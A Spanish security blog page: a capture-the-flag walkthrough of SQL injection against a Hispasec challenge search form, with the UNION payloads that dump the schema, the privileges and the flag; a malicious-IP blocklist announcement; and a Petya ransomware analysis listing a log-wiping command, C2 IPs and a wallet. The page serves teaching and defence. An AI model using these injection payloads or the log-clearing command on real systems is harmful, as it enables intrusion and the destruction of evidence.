Inyección SQL en el Capture the flag de hispasec #MISSION1 parte 1

Inyección SQL, jugando con la base de datos y obteniendo información.

El concurso comienza accediendo a la URL http://34.253.233.243/form1.php donde nos encontramos con un buscador vulnerable a inyección SQL.

Esta conectado a una Base de datos con un motor que por ahora desconocemos .

Tras varias pruebas descubrimos que el buscador es vulnerable a inyección SQL.

No soy de usar herramientas automatizadas, así que vamos a usar el buscador inyectando comandos básicos de SQLi para descubrir el motor. Usamos el típico payload ' or 1=1 -- y obtenemos un resultado exitoso.

Buscador vulnerable a inyección SQL
Buscador vulnerable a inyección SQL

Tras poner el payload  ' or 1=1 -- obtenemos una inyección SQL que lista toda la tabla de la Base de datos.

Imágenes integradas 1

Obteniendo información del esquema mediante inyecciones SQL.

Extrayendo el nombre de las tablas mediante inyecciones SQL.

Hasta ahora sabemos lo siguiente:

El formulario de búsqueda es vulnerable a inyecciones SQL y que la consulta que se realiza es parecida a este comando.

select ID, NAME, STOCK from nombredelatabla where ID='1';

Sabiendo que la consulta selecciona 3 columnas vamos a intentar sacar 3 columnas adicionales realizando un union para ello en el cuadro de busqueda colocamos:

' or 1=1 union SELECT table_schema, table_name, 1 FROM INFORMATION_SCHEMA.tables --
Inyección SQL en el buscador del CTF de Hispasec
Inyección SQL en el buscador del CTF de Hispasec

En esta inyección SQL lo que realizamos es seleccionar 3 datos de la tabla INFORMATION_SCHEMA.tables en concreto el nombre de la base de datos y el nombre de las tablas junto a un 1 para cumplir el numero de columnas y así evitar que el comando union no falle.

El resultado de la consulta que realizara la aplicacion web a la base de datos sera la siguiente:

select ID, NAME, STOCK from nombredelatabla where ID='' or 1=1 union SELECT table_schema, table_name, 1 FROM INFORMATION_SCHEMA.tables --

Le damos a buscar y conseguimos la información que necesitamos.

Imágenes integradas 4

Con el resultado anterior ahora también sabemos que la base de datos se llama: PHARMA_CORP  y que las tablas que tiene dicha base de datos son: CLIENTS , PRODUCTS  y SECRET.

ID: PHARMA_CORP - NAME: CLIENTS - STOCK: 1
ID: PHARMA_CORP - NAME: PRODUCTS - STOCK: 1
ID: PHARMA_CORP - NAME: SECRET - STOCK: 1

Extrayendo los privilegios del usuario mediante inyecciones SQL.

Ahora necesitamos saber que privilegios tenemos con el usuario que se conecta a la base de datos de MySQL para ello nos apoyaremos en la tabla USER_PRIVILEGES y usaremos el payload 

' or 1=1 union select GRANTEE,PRIVILEGE_TYPE,3 from INFORMATION_SCHEMA.USER_PRIVILEGES --
Inyección SQL para obtener los permisos del usuario
Inyección SQL para obtener los permisos del usuario

El resultado del payload nos devuelve esto:

ID: 'boss'@'localhost' - NAME: USAGE - STOCK: 3

Esto quiere decir que el usuario es boss la ip es localhost y el permiso que tenemos sobre la BBDD es USAGE.

Respecto a los privilegios podéis revisar la documentación de MySQL.

Obteniendo las columnas de la tabla mediante inyecciones SQL.

Para obtener información de las columnas acudimos a la tabla information_schema.columns siendo COLUMN_NAME el nombre de la columna, table_name el nombre de la tabla y filtraremos el resultado mediante TABLE_SCHEMA='PHARMA_CORP' para obtener solo el esquema de la BBDD de PHARMA_CORP

Para ello utilizaremos el siguiente payload:

' union SELECT table_name,COLUMN_NAME,1 FROM information_schema.columns where TABLE_SCHEMA='PHARMA_CORP' -- 

Dicha inyección SQL nos devolverá el nombre de la tabla con sus correspondientes columnas:

ID: CLIENTS - NAME: ID - STOCK: 1
ID: CLIENTS - NAME: NAME - STOCK: 1
ID: PRODUCTS - NAME: ID - STOCK: 1
ID: PRODUCTS - NAME: NAME - STOCK: 1
ID: PRODUCTS - NAME: STOCK - STOCK: 1
ID: SECRET - NAME: ID - STOCK: 1
ID: SECRET - NAME: FLAG - STOCK: 1

Consiguiendo el secret key para pasar al siguiente nivel.

Por ultimo tenemos que obtener de la tabla SECRET el campo FLAG para ello utilizaremos la inyeccion SQL

1' union SELECT FLAG ,1,1 FROM SECRET --
Inyección SQL para obtener el campo FLAG de la tabla SECRET
Inyección SQL para obtener el campo FLAG de la tabla SECRET

y con esto terminamos la parte 1 del reto.

Resultado de la inyección SQL para obtener el campo FLAG de la tabla SECRET
Resultado de la inyección SQL para obtener el campo FLAG de la tabla SECRET

 

 

Lista negra (Blacklist) de direcciones IPs maliciosas actualizada.

En SysCloud hemos lanzado una lista negra (Blacklist) de direcciones IPs maliciosas, para que todas las empresas se pueda proteger contra la cibercriminales, hackers y redes botnet.

Para utilizar la lista hay que usar uno de los siguientes enlaces:

  • https://cdn.syscloud.es/bad_ips.txt.gz (Formato Gzip)
  • https://cdn.syscloud.es/bad_ips.txt (Formato TXT)
Lista negra hackers y ciberdelincuentes
Lista negra hackers y ciberdelincuentes

Esta lista se actualiza cada 24 Horas, con direcciones IP maliciosas, servidores comprometidos (Hackeados), nodos de salida tor, servidores VPN, servidores proxy actualmente la lista se alimenta de los siguientes proyectos:

 

 

 

  • Tor Project
  • Openbl
  • Spamhaus
  • Emerging Threats
  • Cins Score
  • Malware Domainlist
  • Malc0de
  • Blocklist.de
  • Zeustracker
  • Ransomware Tracker
  • Maxmind
  • Rulez.sk
  • Autoshun

 

Análisis y recomendaciones para evitar la infección de Petya Ransomware

Recomendaciones para evitar la infección de Petya Ransomware

Es detectado como Win32/Diskcoder.Petya.C, explota la vulnerabilidad de MS17-010 igual que WanaCry. Esta programado en C.

Como evitar la infección de petya.

Para evitar la infección por este Malware hay que crear el fichero.

C:\Windows\perfc
C:\Windows\perfc.dll

Reglas para el IDS Snort:

Reglas para detectas ms17-010 en snort.

Tal como muestra el código en C del ransomware Petya .

Analisis Ransomware Petya
Analisis Ransomware Petya

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Como se propaga el ransomware petya.

Exploits usados por petya para propagarse en redes LAN

  • EternalBlue
  • Vulnerabilidades para el software ukraniano М.Е. Doc.
  • Por último para entornos corporativos con SMB/CIFS/NetBios (Puerto TCP 445) utiliza PSExec , con la tecnica conocidad pash the hash mediante smb, solo infectaria equipos en red conectados a un PDC de Active directory o aquellos equipos con mismo usuario y contraseña + SSID.

Como llega petya a propagarse en redes WAN

El ransomware petya puede llegar mediante 2 formas.

  • Mediante un ataque de Phishing.
  • A través de un correo electrónico con un documento RTF mal formado que explota la vulnerabilidad  CVE-2017-0199 (Ejecución de código Remoto).
  • Si tienes el puerto 445 abierto, y no esta el parche MS17-010 instalado, también te puedes infectar, tal como sucedió en el CPD de OVH.

Como infecta petya nuestro equipo.

El malware crea una tarea programada con la siguiente instrucción, extraída del código fuente:  "C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\perfc.dat\\ y se lanza a la hora después de la infección.

Antes de reiniciarse limpia todos los registros del sistema mediante el comando:

evtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:

 

 

Se intenta conectar con los siguientes hosts:

  • 185.165.29.78
  • 84.200.16.242
  • 111.90.139.247
  • 95.141.115.108

Llega desde siguientes correos:

Correos vinculados con el Rasomware petya
Correos vinculados con el Rasomware petya.

 

 

 

 

 

Extensiones infectadas por el ransomware petya.

  • .3ds .7z .accdb .ai .asp .aspx .avhd .back .bak  .c .cfg
    .conf  .cpp  .cs  .ctl  .dbf  .disk  .djvu .doc  .docx .dwg
    .eml .fdb .gz .h .hdd .kdbx .mail .mdb .msg .nrg .ora
    .ost .ova .ovf .pdf  .php .pmf .ppt .pptx  .pst .pvi .py
    .pyc .rar  .rtf .sln .sql .tar  .vbox .vbs .vcb .vdi .vfd
    .vmc  .vmdk .vmsd .vmx .vsdx  .vsv .work  .xls  .xlsx
    .xvd  .zip

Cartera Bitcoin de petya.

https://blockchain.info/address/1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX